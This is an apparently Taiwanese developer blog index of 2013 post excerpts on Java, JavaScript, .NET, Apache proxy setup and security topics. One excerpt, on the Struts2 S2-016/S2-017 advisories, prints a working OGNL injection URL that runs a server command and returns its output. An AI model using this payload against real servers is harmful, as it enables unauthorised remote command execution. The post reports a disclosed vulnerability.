12/20/2013
12/18/2013
Configuring Apache 2.0 as a Forward Proxy Server
Edit the Apache httpd.conf Configuration File
1.設定 Port
Listen 8080
2.設定 Module
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_connect_module modules/mod_proxy_connect.so
LoadModule proxy_http_module modules/mod_proxy_http.so
LoadModule proxy_ftp_module modules/mod_proxy_ftp.so
前三項為必要Module, 後面可依需求增減
3.設定 VirtualHost
<VirtualHost *:8080>
ProxyRequests On
ProxyVia On
<Proxy *>
Order deny,allow
Deny from all
Allow from 192.168.0.0/16
</Proxy>
</VirtualHost>
4.重新啟動...
12/04/2013
Java Enum Singleton
Java 在 1.5 版本之後開始支援 Enumerated type,Enum 的用法可參考下面連結
http://www.ajaxonomy.com/2007/java/making-the-most-of-java-50-enum-tricks
http://javarevisited.blogspot.tw/2011/08/enum-in-java-example-tutorial.html
http://docs.oracle.com/javase/1.5.0/docs/guide/language/enums.html
使用 enum 實作 singleton,是一個不錯的方式,因 enum instance 預設狀態下就是 thread safe 的,所以使用 enum 來實作 singleton 是相當簡便的
範例
public enum Singleton {
INSTANCE;
public void someOperation() { .. }
}
參考
http://www.informit.co...
12/03/2013
Initialization-on-demand holder idiom
實做 Singleton 的方法有很多種,Java 1.5 以上可以使用 Double-checked locking,但使用鎖會影響程式效率,如何不用鎖又能達到 Singleton 呢? Initialization-on-demand holder 就是一種常見的程式技巧,以下列出 Eager initialization, Static block initialization 與 Initialization-on-demand holder 做比較
public class EagerInitialization {
public static final EagerInitialization INSTANCE = new EagerInitialization();
public static final String TEST = "test";
private EagerInitialization() {
System.out.println("constructor");
...
12/02/2013
Java Double-check locking idiom for lazy initialization of fields
注意 : Java 1.5 以上版本才可使用 雙檢鎖, 並要搭配 volatile 關鍵字
private static final Object LOCK = new Object();
private static volatile Singleton instance;
public static Singleton getInstance() {
Singleton result = instance;
if (result == null) {
synchronized (LOCK) {
result = instance;
if (result == null) {
instance = result = new Singleton();
}
}
}
return result;
}
區域變數 result 看起來是不必要的,但在某些版本的JVM,可以提升執行效...
11/15/2013
Method Chaining
Method Chaining 是一種API的設計方式,讓開法者可以直覺性思考並更方便使用所設計的功能,jQuery 裡就大量地使用這樣的設計
而 Quartz 2.x 版之後就改用 method chaining 的設計方式
以下為 Quartz 2.2 的簡易使用範例, 設計API的方式可作為程式寫作參考
JobDetail job = JobBuilder.newJob(Class.forName("MyJob").asSubclass(Job.class))
.withIdentity("JobName", "JobGroup")
.build();
TriggerKey triggerKey = TriggerKey.triggerKey("TriggerName", "TriggerGroup");
CronTrigger trigger = TriggerBuilder.newTrigger()
.withIdentity(triggerKey)
.withSchedule(CronScheduleBuilder.cronSchedule("0/20...
11/12/2013
Integrate the Jad Decompiler Plug-in into Eclipse
10/23/2013
Javascript 判斷 property 是否存在
在 Javascript 常有人使用 if(car.engine) 來判斷是 property 是否存在, 雖然方便, 但會有出錯的風險, 因為在使用 if(car.engine) 時, 如果不是 boolean 時, Javascript 內部會做一個自動轉型的動作, 因此 if (car.engine) 就等於 if (Boolean(car.engine)),而 car.engine 是 undified 的狀況下, if 測試會回傳 fasle, 但是當 car.engine 其值為 null, fasle, 0, "" 也都會回傳 false
所以測試 property 是否存在, 比較正確的做法是使用 hasOwnProperty, 使用上要特別注意的是 hasOwnProperty 並不會到 prototype chain 去尋找, 只會檢查本身是否有定義 property
> var car = {};
undefined
> Boolean(car.engine);
false
> car.engine =...
Javascript null & undefined
1. null 定義 : 基本型別, 不代表任何值
primitive value that represents the intentional absence of any object value
null 參與數值運算時會轉成 0
> 123 + null
123
> 123 * null
0
2.undefined 定義 : 基本型別, 宣告後沒有指定值
primitive value used when a variable has not been assigned a value
undefined 參與數值結果都是 NaN
> 123 + undefined
NaN
> 123 * undefined
NaN
因此在 Javascript 中 null 和 undefined 是不一樣的東西, 使用上要注意
> typeof null
"object" //ECMAScript 6 後改成 primitive
> typeof undefined
"undefined"
> null...
10/16/2013
Strong-Named Assemblies 簡介

Strong Name 主要是為 .NET Framework 軟體組件開發者設計的一種機制, 除非是軟體公司, 一般使用者應該不太會用到這個功能
主要概念與使用方式,用故事的方式說明
1.Super軟體公司開發出一個超強函式庫, 並使用 Strong Name Compile 出 Super.dll
如何產生 Strong Name 的組件,
可參考 http://msdn.microsoft.com/en-us/library/8wxf689z.aspx
或在 Visual Studio 使用 Signing 功能
其概念就是利用憑證簽署的方式, 對 Super.dll 做簽署, 最大的好處就是檔案無法竄改
寫 ASP.NET 的開發者在 Web.config 一定有看過類似下面的字串
System.Web.Mvc, Version=2.0.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35"
PublicKeyToken 就是用來識別組件是否有效的一個資訊
另外組件要安裝到...
10/11/2013
HTTP basic access authentication
HTTP basic access authentication 是一個很基本的認證方式, 安全性差, 採用 Base64 編碼傳送帳號密碼
認證流程
1.瀏覽器對 Server 端發出請求
2.Server 端檢查該 User 尚未認證, 回應 Status Code 401 和 WWW-Authenticate 資訊在 header 中, 告訴瀏覽器需做基本認證
HTTP/1.0 401 Unauthorised
Content-Type: text/html; charset=UTF-8
WWW-Authenticate: Basic realm="TestSite"
Connection: Close
Content-Length: 24
3.使用者在瀏覽器畫面鍵入 User Name 和 Password 送出請求, 送出的 header 中, 接續在 Authorization: Basic 之後的文字, 就是帳號和密碼的 Base64 編碼
GET / HTTP/1.1
Host: www.example.com
User-Agent:...
10/07/2013
將 ASP .NET MVC 2 deploy 到 IIS6
10/01/2013
Amdahl's law
wikipedia => http://zh.wikipedia.org/zh-tw/%E9%98%BF%E5%A7%86%E8%BE%BE%E5%B0%94%E5%AE%9A%E5%BE%8B假設我們用時間來做為評估效能的指標,如果要提升效能,最有效益的方式,就是直接改善執行時間最長的那個部份例如台灣用電的比例工業 52%服務業 19%住宅 18%其它 11%如果要求住宅隨手關燈,購買節能家電,各種節電措施,就算改善了2%,對整體用電的改善,還是遠遠不及佔用電最大比例的工業用電改...
9/12/2013
常用 CDN
Google
https://developers.google.com/speed/libraries/devguide
Microsoft
http://www.asp.net/ajaxlibrary/cdn.ashx
Yahoo
http://developer.yahoo.com/yui/articles/hosting
Bootstrap
http://www.bootstrapcdn....
9/02/2013
[Enterprise Library] Data Access Application Block - NonQuery
1. 在未使用 Enterprise Library 之前原本的做法
public void InsertCust1(String connName)
{
string sql = @"INSERT INTO CUSTOMERS (customerid, companyname, contactname, contacttitle, "
+ "address, city, region, postalcode, country, phone, fax) "
+ "VALUES (:a,:b,:c,:d,:e,:f,:g,:h,:i,:j,:k) ";
String connString = ConfigurationManager.ConnectionStrings[connName].ConnectionString;
using (OracleConnection connection = new OracleConnection(connString))
...
8/22/2013
[Enterprise Library] Data Access Application Block - Query
最近在瀏覽網路文章時發現微軟的 Enterprise Library, 雖然不是什麼新東西(2005年就發表第一版), 目前的版本是 6.0(April 2013),但發現 Enterprise Library 竟然是 open source 的, 看了一些範例程式發現裡頭大量使用一些 Design Pattern 來簡化目前程式,激起了我研究他的興趣, 因為工作的關係現在比較少機會接觸到微軟的程式, 但他裡頭的設計方式是值得學習和研究的, 想要了解這 Library 第一步驟當然要先學會如何使用它, 先從連接資料庫的部分開始
首先 Refrences 加入 Microsoft.Practices.EnterpriseLibrary.Data
using directive
using Microsoft.Practices.EnterpriseLibrary.Data;
在不使用 LINQ 和 Entity Framework 的狀況下,如果要將資料庫裡的資料轉變成為強型別的物件
1. 在未使用 Enterprise Library 之前原本的做法
public...
8/16/2013
JavaScript function 的兩種宣告方式
寫法一
function subtract(a, b){
return a - b;
};
寫法二
var subtract = function (a, b) {
return a - b;
};
這是兩種不同的 function 宣告方式
第一種寫法是 Function Declaration
產生 execute context 階段時 Function Declaration 就已存到 VO(Variable Object), 所以在執行階段(Execution Stage), 函式就已先存在, 造成的結果是程式呼叫的位置可以比程式宣告更前面
var result = subtract(1,2);
function subtract(a, b){
return a - b;
};
第二種寫法是 Function Expression
Function Expression 寫法在執行階段才建立,並且不會被存在變數物件(VO)中, 可依照條件建立 Function Expression
var...
8/14/2013
Javascript execution context

什麼是 execution context ?
一個 execution context 包含了一些資訊, 而這些資訊在程式執行期間是必要的, 而這些資訊包含
LexicalEnvironment
VariableEnvironment
ThisBinding
當 Javascript 程式執行時, 會產生 execution context, 每段可執行的程式都有其對應的 execution context, 運作中的 execution contexts 像一個 logical stack, 而最上層的 Stack 就是正在執行的 execution context
產生 Execution Context 依照程式的不同,而會有三類不同的狀況
1. Entering Global Code
var i = 0;
function test(){console.log("test");}
2. Entering Function Code
function factorial(num)
{
if (num...
8/02/2013
Javascript Prototype Chain

Javascript 使用 prototype 來達到類似其他語言的繼承概念, 要了解 Javascript 的繼承, 首先要了解 prototype chain, 當我們建立一個 Javascript 物件, 並使用 Javascript 屬性時, 會先從物件內部所擁有的屬性開始尋找, 如果找不到屬性的名稱,就會從 prototype 所指向的物件繼續搜尋, 一層一層的往內搜尋, 這就是原型鏈搜尋
首先我們使用 function 來建構一個物件 (Object Constructor)
function Earth(){};
接著建立一個物件實例(Object Instances)
var e1 = new Earth();
建立實例的過程中不單單是設定 name 屬性, 還把 Employee 所繼承的物件帶給 e1
new 的動作相當於
var e1 = {};
e1.__proto__ = Earth.prototype;//__proto__ Non-standard
Earth.call(e1);
使用...
7/31/2013
Javascript Constructor Property
Javascript constructor 是建構該物件之執行個體的函式參考,所以當建立該物件時就會賦予 constructor 屬性值
function Employee(name, department)
{
this.name = name;
this.department = department;
}
var e1 = new Employee('Albert', 'accounting');
var e2 = new Employee('Grace', 'sales');
console.log(e1 instanceof Employee);
console.log(e2 instanceof Employee);
console.log(e1.constructor == Employee);
console.log(e2.constructor == Employee);
output
--------------------------------------------
true
true
true
true
但如果使用...
Set Spring Property File Encoding
<bean id="contextPropertyConfigurer"
class="org.springframework.beans.factory.config.PropertyPlaceholderConfigurer">
<property name="locations">
<list>
<value>classpath:test.properties</value>
</list>
</property>
<property name="fileEncoding" value="UTF-8"/>
</bean>
<bean id="sysConfig"
class="org.springframework.beans.factory.config.PropertiesFactoryBean">
...
7/29/2013
WebLogic Session Timeout 設定
方法一 : weblogic.xml
<session-descriptor>
<timeout-secs>2400</timeout-secs><!--seconds-->
</session-descriptor>
WebLogic Console ==> deployments / deployment name / Configuration / General / Session Timeout (in seconds)
WebLogic Console 中的設定值, 就是 weblogic.xml 的值
方法二 : web.xml
<session-config>
<session-timeout>120</session-timeout><!--minutes-->
</session-config>
設定0或小於0則 session 永遠不會 time out (可參考 web-app_2_3.dtd...
7/19/2013
Apache Struts2 發布 S2-016 S2-017 漏洞公告
2013年七月 Apache Struts2 發布漏洞公告, 有心人士可以利用這漏洞執行伺服器指令
http://struts.apache.org/release/2.3.x/docs/s2-016.html
http://struts.apache.org/release/2.3.x/docs/s2-017.html
測試了一下
test1 :
http://127.0.0.1/test.action?redirect:http://www.google.com/
test2 :
http://127.0.0.1/test.action?redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'whoami'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}
結果都可正確執行並回傳,這漏洞造成的影響相當大,可以利用此漏洞執行伺服器端的指令,
主要的漏洞是源自於...
7/17/2013
數位憑證基本名詞

數位憑證遵循 X.509 標準
CSR 憑證簽章要求檔 (Certificate Signing Request)
一般申請憑證必須先用工具產生 CSR 檔,產生過程中會將公鑰和私鑰, 一起產生出來,CSR 中包含憑證的基本資訊和公鑰, 產生之後將 CSR 送給 CA 做簽署
wikipedia : http://en.wikipedia.org/wiki/Certificate_signing_request
憑證認證採行由上而下的階層設計 Root CA >> CA >> Certificate
Root certificate : 自我簽署的作用,根憑證授權單位有能力指派中繼憑證授權者
wikipedia : http://en.wikipedia.org/wiki/Root_certificate
Intermediate certificate : 中繼憑證授權單位,可發出伺服器憑證,個人憑證,發行者憑證,或其他中繼憑證授權單位
wikipedia : http://en.wikipedia.org/wiki/Intermediate_certificate_authorities
Domain...
7/12/2013
Javascript Wrapper Object
Javascript 有五個基本型別(primitive types)
string
number
boolean
null
undefined
除了這五個之外, 其他都是物件(object)
去掉 null 及 undefined, 其他三個各有對應的 wrapper 物件
string --> String
number --> Number
boolean --> Boolean
Javascript 在執行過程中可以彈性化的轉換基本型別到相對應的 wrapper 物件
var a = "123";
console.log(typeof a);
a.test = "456";
console.log(a.test);
output
--------------------------------------------
string
undefined
因為是基本型別無法賦予屬性, 所以 a.test 會顯示 undefined
自動轉型成 String 物件
var b = "456";
console.log(b.length);
output
--------------------------------------------
3
如果要自訂屬性則必須使用...
7/07/2013
Javascript loop
for
var myArray = [1,2,3];
for (var i = 0; i < myArray.length; i++)
{
alert(myArray[i]);
}
output
--------------------------------------------
1
2
3
for in
var obj =
{
a : 1,
b : 2
};
for(var key in obj)
{
alert(key);
}
output
--------------------------------------------
a
b
forEach (IE9 之後才支援)
forEach 是從 Array.prototype.forEach 來的, 因此只要是 Array 物件就擁有 forEach 方法
function alertElements(element, index, array)
{
alert(element);
}
[1,2,3].forEach(alertElements);
output
--------------------------------------------
1
2
3
在...
7/03/2013
Hash Collision DoS

oCERT Advisories ==> http://www.ocert.org/advisories/ocert-2011-003.html
Hashtable 在 Java 中是很常被使用的 class 之一,
Hashtable 的原理是利用 hash code 的方式,
算出陣列的索引, 來加速資料搜尋, 最佳狀況下, hash code 是不會重覆的, 因此可以達到快速搜尋的效果
Wikipedia 對 Hash table 的說明 ==> http://en.wikipedia.org/wiki/Hash_table
hash code 的運算方式有很多種, 但不管使用哪一種方式, 都難免發生兩種不同的 Key, 算出同樣 hash code 的狀況, 稱之為碰撞(collision)
我們來看 Java HashMap 如何去處理 collision
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
...
6/20/2013
JavaScript 變數宣告(使用 var 與不使用 var 的區別)
JavaScript 變數使用 var 來宣告,
如果不使用 var, 則屬於 global object
a = 1; //global
function init() {
b = 2; //global
var c = 3; //local
}
function test1() {
init();
console.log(a);
console.log(b);
console.log(c);
}
test1();
output
--------------------------------------------
1
2
exception : ReferenceError: c is not defined
變數宣告後在作用範圍內都有效
function test2() {
console.log(a);
var a = 1;
console.log(a);
}
test2();
output
--------------------------------------------
undefined
1
注意...
6/07/2013
Service Locator Pattern
將取得服務的方法進行封裝, 可降低程式碼間的耦合度
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.sql.DataSource;
import java.util.Collections;
import java.util.HashMap;
import java.util.Map;
public final class ServiceLocator {
private static ServiceLocator sl = new ServiceLocator();
private Context c;
private Map m;
private ServiceLocator() {
try {
c = new InitialContext();
m = Collections.synchronizedMap(new HashMap());
...
jQuery Source Code 註解版
http://robflaherty.github.io/jquery-annotated-sour...
Subscribe to:
Posts (Atom)